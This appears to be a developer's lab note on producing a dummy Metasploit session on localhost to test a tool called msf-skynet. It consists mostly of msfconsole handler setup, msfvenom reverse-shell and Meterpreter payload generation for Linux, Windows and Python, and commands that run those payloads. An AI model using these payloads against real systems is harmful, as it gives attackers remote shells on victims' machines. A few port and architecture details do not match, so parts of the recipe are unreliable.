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dummy session for msfconsole

November 19, 2025

#notes

1. Start msgrpc (required for msf-skynet)

msfconsole -q -x "load msgrpc Pass=secret ServerPort=55552 ServerHost=127.0.0.1"

You’ll see:

[*] MSGRPC Service: 127.0.0.1:55553
[*] Successfully loaded plugin: msgrpc

Leave this terminal running.

2. Set Up a Handler in the Same msfconsole

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

Output:

[*] Started reverse TCP handler on 127.0.0.1:4444

Handler is now waiting in background.

3. Create Payload with msfvenom

Linux (x64 shell)

msfvenom -p linux/x64/shell_reverse_tcp \
         LHOST=127.0.0.1 LPORT=4444 \
         -f elf > /tmp/dummy.elf

Windows (Meterpreter)

msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=127.0.0.1 LPORT=4444 \
         -f exe > /tmp/dummy.exe

Python (no file needed)

msfvenom -p python/meterpreter/reverse_tcp \
         LHOST=127.0.0.1 LPORT=4444 \
         -f raw

4. Execute the Payload (creates real session)

Linux ELF

chmod +x /tmp/dummy.elf
timeout 30 /tmp/dummy.elf &
# → Session 1 opens instantly

Windows EXE (on Kali/NixOS with Wine)

wine /tmp/dummy.exe &
# → Meterpreter session 1

Python one-liner (no file)

msfvenom -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw | timeout 30 python3 -

5. Verify & Kill with msf-skynet

./msf-skynet session list
# → shows session 1

./msf-skynet session kill 1
# → Session stopped successfully

One-Command Demo (handler + payload)

msfconsole -q -x "load msgrpc Pass=abc123 ServerPort=55553; use multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit -j" & \
sleep 3 && msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > /tmp/x && chmod +x /tmp/x && timeout 30 /tmp/x &

Now just run:

./msf-skynet session list
./msf-skynet session kill 1

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